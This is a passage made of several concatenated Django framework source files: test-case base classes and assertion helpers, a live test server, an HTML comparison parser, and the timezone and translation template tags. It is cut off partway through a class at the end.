            self.assertTrue(real_count != 0, msg_prefix + "Couldn't find '%s' in response" % needle)

    def assertJSONEqual(self, raw, expected_data, msg=None):
        """
        Asserts that the JSON fragments raw and expected_data are equal.
        Usual JSON non-significant whitespace rules apply as the heavyweight
        is delegated to the json library.
        """
        try:
            data = json.loads(raw)
        except ValueError:
            self.fail("First argument is not valid JSON: %r" % raw)
        if isinstance(expected_data, six.string_types):
            try:
                expected_data = json.loads(expected_data)
            except ValueError:
                self.fail("Second argument is not valid JSON: %r" % expected_data)
        self.assertEqual(data, expected_data, msg=msg)

    def assertJSONNotEqual(self, raw, expected_data, msg=None):
        """
        Asserts that the JSON fragments raw and expected_data are not equal.
        Usual JSON non-significant whitespace rules apply as the heavyweight
        is delegated to the json library.
        """
        try:
            data = json.loads(raw)
        except ValueError:
            self.fail("First argument is not valid JSON: %r" % raw)
        if isinstance(expected_data, six.string_types):
            try:
                expected_data = json.loads(expected_data)
            except ValueError:
                self.fail("Second argument is not valid JSON: %r" % expected_data)
        self.assertNotEqual(data, expected_data, msg=msg)

    def assertXMLEqual(self, xml1, xml2, msg=None):
        """
        Asserts that two XML snippets are semantically the same.
        Whitespace in most cases is ignored, and attribute ordering is not
        significant. The passed-in arguments must be valid XML.
        """
        try:
            result = compare_xml(xml1, xml2)
        except Exception as e:
            standardMsg = 'First or second argument is not valid XML\n%s' % e
            self.fail(self._formatMessage(msg, standardMsg))
        else:
            if not result:
                standardMsg = '%s != %s' % (safe_repr(xml1, True), safe_repr(xml2, True))
                diff = ('\n' + '\n'.join(
                    difflib.ndiff(
                        six.text_type(xml1).splitlines(),
                        six.text_type(xml2).splitlines(),
                    )
                ))
                standardMsg = self._truncateMessage(standardMsg, diff)
                self.fail(self._formatMessage(msg, standardMsg))

    def assertXMLNotEqual(self, xml1, xml2, msg=None):
        """
        Asserts that two XML snippets are not semantically equivalent.
        Whitespace in most cases is ignored, and attribute ordering is not
        significant. The passed-in arguments must be valid XML.
        """
        try:
            result = compare_xml(xml1, xml2)
        except Exception as e:
            standardMsg = 'First or second argument is not valid XML\n%s' % e
            self.fail(self._formatMessage(msg, standardMsg))
        else:
            if result:
                standardMsg = '%s == %s' % (safe_repr(xml1, True), safe_repr(xml2, True))
                self.fail(self._formatMessage(msg, standardMsg))


class TransactionTestCase(SimpleTestCase):

    # Subclasses can ask for resetting of auto increment sequence before each
    # test case
    reset_sequences = False

    # Subclasses can enable only a subset of apps for faster tests
    available_apps = None

    # Subclasses can define fixtures which will be automatically installed.
    fixtures = None

    # If transactions aren't available, Django will serialize the database
    # contents into a fixture during setup and flush and reload them
    # during teardown (as flush does not restore data from migrations).
    # This can be slow; this flag allows enabling on a per-case basis.
    serialized_rollback = False

    # Since tests will be wrapped in a transaction, or serialized if they
    # are not available, we allow queries to be run.
    allow_database_queries = True

    def _pre_setup(self):
        """Performs any pre-test setup. This includes:

        * If the class has an 'available_apps' attribute, restricting the app
          registry to these applications, then firing post_migrate -- it must
          run with the correct set of applications for the test case.
        * If the class has a 'fixtures' attribute, installing these fixtures.
        """
        super(TransactionTestCase, self)._pre_setup()
        if self.available_apps is not None:
            apps.set_available_apps(self.available_apps)
            setting_changed.send(
                sender=settings._wrapped.__class__,
                setting='INSTALLED_APPS',
                value=self.available_apps,
                enter=True,
            )
            for db_name in self._databases_names(include_mirrors=False):
                emit_post_migrate_signal(verbosity=0, interactive=False, db=db_name)
        try:
            self._fixture_setup()
        except Exception:
            if self.available_apps is not None:
                apps.unset_available_apps()
                setting_changed.send(
                    sender=settings._wrapped.__class__,
                    setting='INSTALLED_APPS',
                    value=settings.INSTALLED_APPS,
                    enter=False,
                )
            raise

    @classmethod
    def _databases_names(cls, include_mirrors=True):
        # If the test case has a multi_db=True flag, act on all databases,
        # including mirrors or not. Otherwise, just on the default DB.
        if getattr(cls, 'multi_db', False):
            return [
                alias for alias in connections
                if include_mirrors or not connections[alias].settings_dict['TEST']['MIRROR']
            ]
        else:
            return [DEFAULT_DB_ALIAS]

    def _reset_sequences(self, db_name):
        conn = connections[db_name]
        if conn.features.supports_sequence_reset:
            sql_list = conn.ops.sequence_reset_by_name_sql(
                no_style(), conn.introspection.sequence_list())
            if sql_list:
                with transaction.atomic(using=db_name):
                    cursor = conn.cursor()
                    for sql in sql_list:
                        cursor.execute(sql)

    def _fixture_setup(self):
        for db_name in self._databases_names(include_mirrors=False):
            # Reset sequences
            if self.reset_sequences:
                self._reset_sequences(db_name)

            # If we need to provide replica initial data from migrated apps,
            # then do so.
            if self.serialized_rollback and hasattr(connections[db_name], "_test_serialized_contents"):
                if self.available_apps is not None:
                    apps.unset_available_apps()
                connections[db_name].creation.deserialize_db_from_string(
                    connections[db_name]._test_serialized_contents
                )
                if self.available_apps is not None:
                    apps.set_available_apps(self.available_apps)

            if self.fixtures:
                # We have to use this slightly awkward syntax due to the fact
                # that we're using *args and **kwargs together.
                call_command('loaddata', *self.fixtures,
                             **{'verbosity': 0, 'database': db_name})

    def _should_reload_connections(self):
        return True

    def _post_teardown(self):
        """Performs any post-test things. This includes:

        * Flushing the contents of the database, to leave a clean slate. If
          the class has an 'available_apps' attribute, post_migrate isn't fired.
        * Force-closing the connection, so the next test gets a clean cursor.
        """
        try:
            self._fixture_teardown()
            super(TransactionTestCase, self)._post_teardown()
            if self._should_reload_connections():
                # Some DB cursors include SQL statements as part of cursor
                # creation. If you have a test that does a rollback, the effect
                # of these statements is lost, which can affect the operation of
                # tests (e.g., losing a timezone setting causing objects to be
                # created with the wrong time). To make sure this doesn't
                # happen, get a clean connection at the start of every test.
                for conn in connections.all():
                    conn.close()
        finally:
            if self.available_apps is not None:
                apps.unset_available_apps()
                setting_changed.send(sender=settings._wrapped.__class__,
                                     setting='INSTALLED_APPS',
                                     value=settings.INSTALLED_APPS,
                                     enter=False)

    def _fixture_teardown(self):
        # Allow TRUNCATE ... CASCADE and don't emit the post_migrate signal
        # when flushing only a subset of the apps
        for db_name in self._databases_names(include_mirrors=False):
            # Flush the database
            inhibit_post_migrate = (
                self.available_apps is not None or
                (   # Inhibit the post_migrate signal when using serialized
                    # rollback to avoid trying to recreate the serialized data.
                    self.serialized_rollback and
                    hasattr(connections[db_name], '_test_serialized_contents')
                )
            )
            call_command('flush', verbosity=0, interactive=False,
                         database=db_name, reset_sequences=False,
                         allow_cascade=self.available_apps is not None,
                         inhibit_post_migrate=inhibit_post_migrate)

    def assertQuerysetEqual(self, qs, values, transform=repr, ordered=True, msg=None):
        items = six.moves.map(transform, qs)
        if not ordered:
            return self.assertEqual(Counter(items), Counter(values), msg=msg)
        values = list(values)
        # For example qs.iterator() could be passed as qs, but it does not
        # have 'ordered' attribute.
        if len(values) > 1 and hasattr(qs, 'ordered') and not qs.ordered:
            raise ValueError("Trying to compare non-ordered queryset "
                             "against more than one ordered values")
        return self.assertEqual(list(items), values, msg=msg)

    def assertNumQueries(self, num, func=None, *args, **kwargs):
        using = kwargs.pop("using", DEFAULT_DB_ALIAS)
        conn = connections[using]

        context = _AssertNumQueriesContext(self, num, conn)
        if func is None:
            return context

        with context:
            func(*args, **kwargs)


def connections_support_transactions():
    """
    Returns True if all connections support transactions.
    """
    return all(conn.features.supports_transactions
               for conn in connections.all())


class TestCase(TransactionTestCase):
    """
    Similar to TransactionTestCase, but uses `transaction.atomic()` to achieve
    test isolation.

    In most situations, TestCase should be preferred to TransactionTestCase as
    it allows faster execution. However, there are some situations where using
    TransactionTestCase might be necessary (e.g. testing some transactional
    behavior).

    On database backends with no transaction support, TestCase behaves as
    TransactionTestCase.
    """
    @classmethod
    def _enter_atomics(cls):
        """Helper method to open atomic blocks for multiple databases"""
        atomics = {}
        for db_name in cls._databases_names():
            atomics[db_name] = transaction.atomic(using=db_name)
            atomics[db_name].__enter__()
        return atomics

    @classmethod
    def _rollback_atomics(cls, atomics):
        """Rollback atomic blocks opened through the previous method"""
        for db_name in reversed(cls._databases_names()):
            transaction.set_rollback(True, using=db_name)
            atomics[db_name].__exit__(None, None, None)

    @classmethod
    def setUpClass(cls):
        super(TestCase, cls).setUpClass()
        if not connections_support_transactions():
            return
        cls.cls_atomics = cls._enter_atomics()

        if cls.fixtures:
            for db_name in cls._databases_names(include_mirrors=False):
                    try:
                        call_command('loaddata', *cls.fixtures, **{
                            'verbosity': 0,
                            'commit': False,
                            'database': db_name,
                        })
                    except Exception:
                        cls._rollback_atomics(cls.cls_atomics)
                        raise
        try:
            cls.setUpTestData()
        except Exception:
            cls._rollback_atomics(cls.cls_atomics)
            raise

    @classmethod
    def tearDownClass(cls):
        if connections_support_transactions():
            cls._rollback_atomics(cls.cls_atomics)
            for conn in connections.all():
                conn.close()
        super(TestCase, cls).tearDownClass()

    @classmethod
    def setUpTestData(cls):
        """Load initial data for the TestCase"""
        pass

    def _should_reload_connections(self):
        if connections_support_transactions():
            return False
        return super(TestCase, self)._should_reload_connections()

    def _fixture_setup(self):
        if not connections_support_transactions():
            # If the backend does not support transactions, we should reload
            # class data before each test
            self.setUpTestData()
            return super(TestCase, self)._fixture_setup()

        assert not self.reset_sequences, 'reset_sequences cannot be used on TestCase instances'
        self.atomics = self._enter_atomics()

    def _fixture_teardown(self):
        if not connections_support_transactions():
            return super(TestCase, self)._fixture_teardown()
        try:
            for db_name in reversed(self._databases_names()):
                if self._should_check_constraints(connections[db_name]):
                    connections[db_name].check_constraints()
        finally:
            self._rollback_atomics(self.atomics)

    def _should_check_constraints(self, connection):
        return (
            connection.features.can_defer_constraint_checks and
            not connection.needs_rollback and connection.is_usable()
        )


class CheckCondition(object):
    """Descriptor class for deferred condition checking"""
    def __init__(self, cond_func):
        self.cond_func = cond_func

    def __get__(self, instance, cls=None):
        return self.cond_func()


def _deferredSkip(condition, reason):
    def decorator(test_func):
        if not (isinstance(test_func, type) and
                issubclass(test_func, unittest.TestCase)):
            @wraps(test_func)
            def skip_wrapper(*args, **kwargs):
                if condition():
                    raise unittest.SkipTest(reason)
                return test_func(*args, **kwargs)
            test_item = skip_wrapper
        else:
            # Assume a class is decorated
            test_item = test_func
            test_item.__unittest_skip__ = CheckCondition(condition)
        test_item.__unittest_skip_why__ = reason
        return test_item
    return decorator


def skipIfDBFeature(*features):
    """
    Skip a test if a database has at least one of the named features.
    """
    return _deferredSkip(
        lambda: any(getattr(connection.features, feature, False) for feature in features),
        "Database has feature(s) %s" % ", ".join(features)
    )


def skipUnlessDBFeature(*features):
    """
    Skip a test unless a database has all the named features.
    """
    return _deferredSkip(
        lambda: not all(getattr(connection.features, feature, False) for feature in features),
        "Database doesn't support feature(s): %s" % ", ".join(features)
    )


def skipUnlessAnyDBFeature(*features):
    """
    Skip a test unless a database has any of the named features.
    """
    return _deferredSkip(
        lambda: not any(getattr(connection.features, feature, False) for feature in features),
        "Database doesn't support any of the feature(s): %s" % ", ".join(features)
    )


class QuietWSGIRequestHandler(WSGIRequestHandler):
    """
    Just a regular WSGIRequestHandler except it doesn't log to the standard
    output any of the requests received, so as to not clutter the output for
    the tests' results.
    """

    def log_message(*args):
        pass


class FSFilesHandler(WSGIHandler):
    """
    WSGI middleware that intercepts calls to a directory, as defined by one of
    the *_ROOT settings, and serves those files, publishing them under *_URL.
    """
    def __init__(self, application):
        self.application = application
        self.base_url = urlparse(self.get_base_url())
        super(FSFilesHandler, self).__init__()

    def _should_handle(self, path):
        """
        Checks if the path should be handled. Ignores the path if:

        * the host is provided as part of the base_url
        * the request's path isn't under the media path (or equal)
        """
        return path.startswith(self.base_url[2]) and not self.base_url[1]

    def file_path(self, url):
        """
        Returns the relative path to the file on disk for the given URL.
        """
        relative_url = url[len(self.base_url[2]):]
        return url2pathname(relative_url)

    def get_response(self, request):
        from django.http import Http404

        if self._should_handle(request.path):
            try:
                return self.serve(request)
            except Http404:
                pass
        return super(FSFilesHandler, self).get_response(request)

    def serve(self, request):
        os_rel_path = self.file_path(request.path)
        os_rel_path = posixpath.normpath(unquote(os_rel_path))
        # Emulate behavior of django.contrib.staticfiles.views.serve() when it
        # invokes staticfiles' finders functionality.
        # TODO: Modify if/when that internal API is refactored
        final_rel_path = os_rel_path.replace('\\', '/').lstrip('/')
        return serve(request, final_rel_path, document_root=self.get_base_dir())

    def __call__(self, environ, start_response):
        if not self._should_handle(get_path_info(environ)):
            return self.application(environ, start_response)
        return super(FSFilesHandler, self).__call__(environ, start_response)


class _StaticFilesHandler(FSFilesHandler):
    """
    Handler for serving static files. A private class that is meant to be used
    solely as a convenience by LiveServerThread.
    """

    def get_base_dir(self):
        return settings.STATIC_ROOT

    def get_base_url(self):
        return settings.STATIC_URL


class _MediaFilesHandler(FSFilesHandler):
    """
    Handler for serving the media files. A private class that is meant to be
    used solely as a convenience by LiveServerThread.
    """

    def get_base_dir(self):
        return settings.MEDIA_ROOT

    def get_base_url(self):
        return settings.MEDIA_URL


class LiveServerThread(threading.Thread):
    """
    Thread for running a live http server while the tests are running.
    """

    def __init__(self, host, static_handler, connections_override=None):
        self.host = host
        self.port = None
        self.is_ready = threading.Event()
        self.error = None
        self.static_handler = static_handler
        self.connections_override = connections_override
        super(LiveServerThread, self).__init__()

    def run(self):
        """
        Sets up the live server and databases, and then loops over handling
        http requests.
        """
        if self.connections_override:
            # Override this thread's database connections with the ones
            # provided by the main thread.
            for alias, conn in self.connections_override.items():
                connections[alias] = conn
        try:
            # Create the handler for serving static and media files
            handler = self.static_handler(_MediaFilesHandler(WSGIHandler()))
            self.httpd = self._create_server(0)
            self.port = self.httpd.server_address[1]
            self.httpd.set_app(handler)
            self.is_ready.set()
            self.httpd.serve_forever()
        except Exception as e:
            self.error = e
            self.is_ready.set()
        finally:
            connections.close_all()

    def _create_server(self, port):
        return WSGIServer((self.host, port), QuietWSGIRequestHandler, allow_reuse_address=False)

    def terminate(self):
        if hasattr(self, 'httpd'):
            # Stop the WSGI server
            self.httpd.shutdown()
            self.httpd.server_close()
        self.join()


class LiveServerTestCase(TransactionTestCase):
    """
    Does basically the same as TransactionTestCase but also launches a live
    http server in a separate thread so that the tests may use another testing
    framework, such as Selenium for example, instead of the built-in dummy
    client.
    Note that it inherits from TransactionTestCase instead of TestCase because
    the threads do not share the same transactions (unless if using in-memory
    sqlite) and each thread needs to commit all their transactions so that the
    other thread can see the changes.
    """
    host = 'localhost'
    server_thread_class = LiveServerThread
    static_handler = _StaticFilesHandler

    @classproperty
    def live_server_url(cls):
        return 'http://%s:%s' % (cls.host, cls.server_thread.port)

    @classmethod
    def setUpClass(cls):
        super(LiveServerTestCase, cls).setUpClass()
        connections_override = {}
        for conn in connections.all():
            # If using in-memory sqlite databases, pass the connections to
            # the server thread.
            if conn.vendor == 'sqlite' and conn.is_in_memory_db():
                # Explicitly enable thread-shareability for this connection
                conn.allow_thread_sharing = True
                connections_override[conn.alias] = conn

        cls._live_server_modified_settings = modify_settings(
            ALLOWED_HOSTS={'append': cls.host},
        )
        cls._live_server_modified_settings.enable()
        cls.server_thread = cls._create_server_thread(connections_override)
        cls.server_thread.daemon = True
        cls.server_thread.start()

        # Wait for the live server to be ready
        cls.server_thread.is_ready.wait()
        if cls.server_thread.error:
            # Clean up behind ourselves, since tearDownClass won't get called in
            # case of errors.
            cls._tearDownClassInternal()
            raise cls.server_thread.error

    @classmethod
    def _create_server_thread(cls, connections_override):
        return cls.server_thread_class(
            cls.host,
            cls.static_handler,
            connections_override=connections_override,
        )

    @classmethod
    def _tearDownClassInternal(cls):
        # There may not be a 'server_thread' attribute if setUpClass() for some
        # reasons has raised an exception.
        if hasattr(cls, 'server_thread'):
            # Terminate the live server's thread
            cls.server_thread.terminate()

        # Restore sqlite in-memory database connections' non-shareability
        for conn in connections.all():
            if conn.vendor == 'sqlite' and conn.is_in_memory_db():
                conn.allow_thread_sharing = False

    @classmethod
    def tearDownClass(cls):
        cls._tearDownClassInternal()
        cls._live_server_modified_settings.disable()
        super(LiveServerTestCase, cls).tearDownClass()


class SerializeMixin(object):
    """
    Mixin to enforce serialization of TestCases that share a common resource.

    Define a common 'lockfile' for each set of TestCases to serialize. This
    file must exist on the filesystem.

    Place it early in the MRO in order to isolate setUpClass / tearDownClass.
    """

    lockfile = None

    @classmethod
    def setUpClass(cls):
        if cls.lockfile is None:
            raise ValueError(
                "{}.lockfile isn't set. Set it to a unique value "
                "in the base class.".format(cls.__name__))
        cls._lockfile = open(cls.lockfile)
        locks.lock(cls._lockfile, locks.LOCK_EX)
        super(SerializeMixin, cls).setUpClass()

    @classmethod
    def tearDownClass(cls):
        super(SerializeMixin, cls).tearDownClass()
        cls._lockfile.close()






"""
Comparing two html documents.
"""

from __future__ import unicode_literals

import re

from django.utils import six
from django.utils.encoding import force_text, python_2_unicode_compatible
from django.utils.html_parser import HTMLParseError, HTMLParser

WHITESPACE = re.compile('\s+')


def normalize_whitespace(string):
    return WHITESPACE.sub(' ', string)


@python_2_unicode_compatible
class Element(object):
    def __init__(self, name, attributes):
        self.name = name
        self.attributes = sorted(attributes)
        self.children = []

    def append(self, element):
        if isinstance(element, six.string_types):
            element = force_text(element)
            element = normalize_whitespace(element)
            if self.children:
                if isinstance(self.children[-1], six.string_types):
                    self.children[-1] += element
                    self.children[-1] = normalize_whitespace(self.children[-1])
                    return
        elif self.children:
            # removing last children if it is only whitespace
            # this can result in incorrect dom representations since
            # whitespace between inline tags like <span> is significant
            if isinstance(self.children[-1], six.string_types):
                if self.children[-1].isspace():
                    self.children.pop()
        if element:
            self.children.append(element)

    def finalize(self):
        def rstrip_last_element(children):
            if children:
                if isinstance(children[-1], six.string_types):
                    children[-1] = children[-1].rstrip()
                    if not children[-1]:
                        children.pop()
                        children = rstrip_last_element(children)
            return children

        rstrip_last_element(self.children)
        for i, child in enumerate(self.children):
            if isinstance(child, six.string_types):
                self.children[i] = child.strip()
            elif hasattr(child, 'finalize'):
                child.finalize()

    def __eq__(self, element):
        if not hasattr(element, 'name'):
            return False
        if hasattr(element, 'name') and self.name != element.name:
            return False
        if len(self.attributes) != len(element.attributes):
            return False
        if self.attributes != element.attributes:
            # attributes without a value is same as attribute with value that
            # equals the attributes name:
            # <input checked> == <input checked="checked">
            for i in range(len(self.attributes)):
                attr, value = self.attributes[i]
                other_attr, other_value = element.attributes[i]
                if value is None:
                    value = attr
                if other_value is None:
                    other_value = other_attr
                if attr != other_attr or value != other_value:
                    return False
        if self.children != element.children:
            return False
        return True

    def __hash__(self):
        return hash((self.name,) + tuple(a for a in self.attributes))

    def __ne__(self, element):
        return not self.__eq__(element)

    def _count(self, element, count=True):
        if not isinstance(element, six.string_types):
            if self == element:
                return 1
        i = 0
        for child in self.children:
            # child is text content and element is also text content, then
            # make a simple "text" in "text"
            if isinstance(child, six.string_types):
                if isinstance(element, six.string_types):
                    if count:
                        i += child.count(element)
                    elif element in child:
                        return 1
            else:
                i += child._count(element, count=count)
                if not count and i:
                    return i
        return i

    def __contains__(self, element):
        return self._count(element, count=False) > 0

    def count(self, element):
        return self._count(element, count=True)

    def __getitem__(self, key):
        return self.children[key]

    def __str__(self):
        output = '<%s' % self.name
        for key, value in self.attributes:
            if value:
                output += ' %s="%s"' % (key, value)
            else:
                output += ' %s' % key
        if self.children:
            output += '>\n'
            output += ''.join(six.text_type(c) for c in self.children)
            output += '\n</%s>' % self.name
        else:
            output += ' />'
        return output

    def __repr__(self):
        return six.text_type(self)


@python_2_unicode_compatible
class RootElement(Element):
    def __init__(self):
        super(RootElement, self).__init__(None, ())

    def __str__(self):
        return ''.join(six.text_type(c) for c in self.children)


class Parser(HTMLParser):
    SELF_CLOSING_TAGS = (
        'br', 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base',
        'col',
    )

    def __init__(self):
        HTMLParser.__init__(self)
        self.root = RootElement()
        self.open_tags = []
        self.element_positions = {}

    def error(self, msg):
        raise HTMLParseError(msg, self.getpos())

    def format_position(self, position=None, element=None):
        if not position and element:
            position = self.element_positions[element]
        if position is None:
            position = self.getpos()
        if hasattr(position, 'lineno'):
            position = position.lineno, position.offset
        return 'Line %d, Column %d' % position

    @property
    def current(self):
        if self.open_tags:
            return self.open_tags[-1]
        else:
            return self.root

    def handle_startendtag(self, tag, attrs):
        self.handle_starttag(tag, attrs)
        if tag not in self.SELF_CLOSING_TAGS:
            self.handle_endtag(tag)

    def handle_starttag(self, tag, attrs):
        # Special case handling of 'class' attribute, so that comparisons of DOM
        # instances are not sensitive to ordering of classes.
        attrs = [
            (name, " ".join(sorted(value.split(" "))))
            if name == "class"
            else (name, value)
            for name, value in attrs
        ]
        element = Element(tag, attrs)
        self.current.append(element)
        if tag not in self.SELF_CLOSING_TAGS:
            self.open_tags.append(element)
        self.element_positions[element] = self.getpos()

    def handle_endtag(self, tag):
        if not self.open_tags:
            self.error("Unexpected end tag `%s` (%s)" % (
                tag, self.format_position()))
        element = self.open_tags.pop()
        while element.name != tag:
            if not self.open_tags:
                self.error("Unexpected end tag `%s` (%s)" % (
                    tag, self.format_position()))
            element = self.open_tags.pop()

    def handle_data(self, data):
        self.current.append(data)

    def handle_charref(self, name):
        self.current.append('&%s;' % name)

    def handle_entityref(self, name):
        self.current.append('&%s;' % name)


def parse_html(html):
    """
    Takes a string that contains *valid* HTML and turns it into a Python object
    structure that can be easily compared against other HTML on semantic
    equivalence. Syntactical differences like which quotation is used on
    arguments will be ignored.
    """
    parser = Parser()
    parser.feed(html)
    parser.close()
    document = parser.root
    document.finalize()
    # Removing ROOT element if it's not necessary
    if len(document.children) == 1:
        if not isinstance(document.children[0], six.string_types):
            document = document.children[0]
    return document






from datetime import datetime, tzinfo

from django.template import Library, Node, TemplateSyntaxError
from django.utils import six, timezone

try:
    import pytz
except ImportError:
    pytz = None


register = Library()


# HACK: datetime is an old-style class, create a new-style equivalent
# so we can define additional attributes.
class datetimeobject(datetime, object):
    pass


# Template filters

@register.filter
def localtime(value):
    """
    Converts a datetime to local time in the active time zone.

    This only makes sense within a {% localtime off %} block.
    """
    return do_timezone(value, timezone.get_current_timezone())


@register.filter
def utc(value):
    """
    Converts a datetime to UTC.
    """
    return do_timezone(value, timezone.utc)


@register.filter('timezone')
def do_timezone(value, arg):
    """
    Converts a datetime to local time in a given time zone.

    The argument must be an instance of a tzinfo subclass or a time zone name.
    If it is a time zone name, pytz is required.

    Naive datetimes are assumed to be in local time in the default time zone.
    """
    if not isinstance(value, datetime):
        return ''

    # Obtain a timezone-aware datetime
    try:
        if timezone.is_naive(value):
            default_timezone = timezone.get_default_timezone()
            value = timezone.make_aware(value, default_timezone)
    # Filters must never raise exceptions, and pytz' exceptions inherit
    # Exception directly, not a specific subclass. So catch everything.
    except Exception:
        return ''

    # Obtain a tzinfo instance
    if isinstance(arg, tzinfo):
        tz = arg
    elif isinstance(arg, six.string_types) and pytz is not None:
        try:
            tz = pytz.timezone(arg)
        except pytz.UnknownTimeZoneError:
            return ''
    else:
        return ''

    result = timezone.localtime(value, tz)

    # HACK: the convert_to_local_time flag will prevent
    #       automatic conversion of the value to local time.
    result = datetimeobject(result.year, result.month, result.day,
                            result.hour, result.minute, result.second,
                            result.microsecond, result.tzinfo)
    result.convert_to_local_time = False
    return result


# Template tags

class LocalTimeNode(Node):
    """
    Template node class used by ``localtime_tag``.
    """
    def __init__(self, nodelist, use_tz):
        self.nodelist = nodelist
        self.use_tz = use_tz

    def render(self, context):
        old_setting = context.use_tz
        context.use_tz = self.use_tz
        output = self.nodelist.render(context)
        context.use_tz = old_setting
        return output


class TimezoneNode(Node):
    """
    Template node class used by ``timezone_tag``.
    """
    def __init__(self, nodelist, tz):
        self.nodelist = nodelist
        self.tz = tz

    def render(self, context):
        with timezone.override(self.tz.resolve(context)):
            output = self.nodelist.render(context)
        return output


class GetCurrentTimezoneNode(Node):
    """
    Template node class used by ``get_current_timezone_tag``.
    """
    def __init__(self, variable):
        self.variable = variable

    def render(self, context):
        context[self.variable] = timezone.get_current_timezone_name()
        return ''


@register.tag('localtime')
def localtime_tag(parser, token):
    """
    Forces or prevents conversion of datetime objects to local time,
    regardless of the value of ``settings.USE_TZ``.

    Sample usage::

        {% localtime off %}{{ value_in_utc }}{% endlocaltime %}
    """
    bits = token.split_contents()
    if len(bits) == 1:
        use_tz = True
    elif len(bits) > 2 or bits[1] not in ('on', 'off'):
        raise TemplateSyntaxError("%r argument should be 'on' or 'off'" %
                                  bits[0])
    else:
        use_tz = bits[1] == 'on'
    nodelist = parser.parse(('endlocaltime',))
    parser.delete_first_token()
    return LocalTimeNode(nodelist, use_tz)


@register.tag('timezone')
def timezone_tag(parser, token):
    """
    Enables a given time zone just for this block.

    The ``timezone`` argument must be an instance of a ``tzinfo`` subclass, a
    time zone name, or ``None``. If is it a time zone name, pytz is required.
    If it is ``None``, the default time zone is used within the block.

    Sample usage::

        {% timezone "Europe/Paris" %}
            It is {{ now }} in Paris.
        {% endtimezone %}
    """
    bits = token.split_contents()
    if len(bits) != 2:
        raise TemplateSyntaxError("'%s' takes one argument (timezone)" %
                                  bits[0])
    tz = parser.compile_filter(bits[1])
    nodelist = parser.parse(('endtimezone',))
    parser.delete_first_token()
    return TimezoneNode(nodelist, tz)


@register.tag("get_current_timezone")
def get_current_timezone_tag(parser, token):
    """
    Stores the name of the current time zone in the context.

    Usage::

        {% get_current_timezone as TIME_ZONE %}

    This will fetch the currently active time zone and put its name
    into the ``TIME_ZONE`` context variable.
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    args = token.contents.split()
    if len(args) != 3 or args[1] != 'as':
        raise TemplateSyntaxError("'get_current_timezone' requires "
                                  "'as variable' (got %r)" % args)
    return GetCurrentTimezoneNode(args[2])






from __future__ import unicode_literals

import sys

from django.conf import settings
from django.template import Library, Node, TemplateSyntaxError, Variable
from django.template.base import TOKEN_TEXT, TOKEN_VAR, render_value_in_context
from django.template.defaulttags import token_kwargs
from django.utils import six, translation
from django.utils.safestring import SafeData, mark_safe

register = Library()


class GetAvailableLanguagesNode(Node):
    def __init__(self, variable):
        self.variable = variable

    def render(self, context):
        context[self.variable] = [(k, translation.ugettext(v)) for k, v in settings.LANGUAGES]
        return ''


class GetLanguageInfoNode(Node):
    def __init__(self, lang_code, variable):
        self.lang_code = lang_code
        self.variable = variable

    def render(self, context):
        lang_code = self.lang_code.resolve(context)
        context[self.variable] = translation.get_language_info(lang_code)
        return ''


class GetLanguageInfoListNode(Node):
    def __init__(self, languages, variable):
        self.languages = languages
        self.variable = variable

    def get_language_info(self, language):
        # ``language`` is either a language code string or a sequence
        # with the language code as its first item
        if len(language[0]) > 1:
            return translation.get_language_info(language[0])
        else:
            return translation.get_language_info(str(language))

    def render(self, context):
        langs = self.languages.resolve(context)
        context[self.variable] = [self.get_language_info(lang) for lang in langs]
        return ''


class GetCurrentLanguageNode(Node):
    def __init__(self, variable):
        self.variable = variable

    def render(self, context):
        context[self.variable] = translation.get_language()
        return ''


class GetCurrentLanguageBidiNode(Node):
    def __init__(self, variable):
        self.variable = variable

    def render(self, context):
        context[self.variable] = translation.get_language_bidi()
        return ''


class TranslateNode(Node):
    def __init__(self, filter_expression, noop, asvar=None,
                 message_context=None):
        self.noop = noop
        self.asvar = asvar
        self.message_context = message_context
        self.filter_expression = filter_expression
        if isinstance(self.filter_expression.var, six.string_types):
            self.filter_expression.var = Variable("'%s'" %
                                                  self.filter_expression.var)

    def render(self, context):
        self.filter_expression.var.translate = not self.noop
        if self.message_context:
            self.filter_expression.var.message_context = (
                self.message_context.resolve(context))
        output = self.filter_expression.resolve(context)
        value = render_value_in_context(output, context)
        # Restore percent signs. Percent signs in template text are doubled
        # so they are not interpreted as string format flags.
        is_safe = isinstance(value, SafeData)
        value = value.replace('%%', '%')
        value = mark_safe(value) if is_safe else value
        if self.asvar:
            context[self.asvar] = value
            return ''
        else:
            return value


class BlockTranslateNode(Node):

    def __init__(self, extra_context, singular, plural=None, countervar=None,
                 counter=None, message_context=None, trimmed=False, asvar=None):
        self.extra_context = extra_context
        self.singular = singular
        self.plural = plural
        self.countervar = countervar
        self.counter = counter
        self.message_context = message_context
        self.trimmed = trimmed
        self.asvar = asvar

    def render_token_list(self, tokens):
        result = []
        vars = []
        for token in tokens:
            if token.token_type == TOKEN_TEXT:
                result.append(token.contents.replace('%', '%%'))
            elif token.token_type == TOKEN_VAR:
                result.append('%%(%s)s' % token.contents)
                vars.append(token.contents)
        msg = ''.join(result)
        if self.trimmed:
            msg = translation.trim_whitespace(msg)
        return msg, vars

    def render(self, context, nested=False):
        if self.message_context:
            message_context = self.message_context.resolve(context)
        else:
            message_context = None
        tmp_context = {}
        for var, val in self.extra_context.items():
            tmp_context[var] = val.resolve(context)
        # Update() works like a push(), so corresponding context.pop() is at
        # the end of function
        context.update(tmp_context)
        singular, vars = self.render_token_list(self.singular)
        if self.plural and self.countervar and self.counter:
            count = self.counter.resolve(context)
            context[self.countervar] = count
            plural, plural_vars = self.render_token_list(self.plural)
            if message_context:
                result = translation.npgettext(message_context, singular,
                                               plural, count)
            else:
                result = translation.ungettext(singular, plural, count)
            vars.extend(plural_vars)
        else:
            if message_context:
                result = translation.pgettext(message_context, singular)
            else:
                result = translation.ugettext(singular)
        default_value = context.template.engine.string_if_invalid

        def render_value(key):
            if key in context:
                val = context[key]
            else:
                val = default_value % key if '%s' in default_value else default_value
            return render_value_in_context(val, context)

        data = {v: render_value(v) for v in vars}
        context.pop()
        try:
            result = result % data
        except (KeyError, ValueError):
            if nested:
                # Either string is malformed, or it's a bug
                raise TemplateSyntaxError(
                    "'blocktrans' is unable to format string returned by gettext: %r using %r"
                    % (result, data)
                )
            with translation.override(None):
                result = self.render(context, nested=True)
        if self.asvar:
            context[self.asvar] = result
            return ''
        else:
            return result


class LanguageNode(Node):
    def __init__(self, nodelist, language):
        self.nodelist = nodelist
        self.language = language

    def render(self, context):
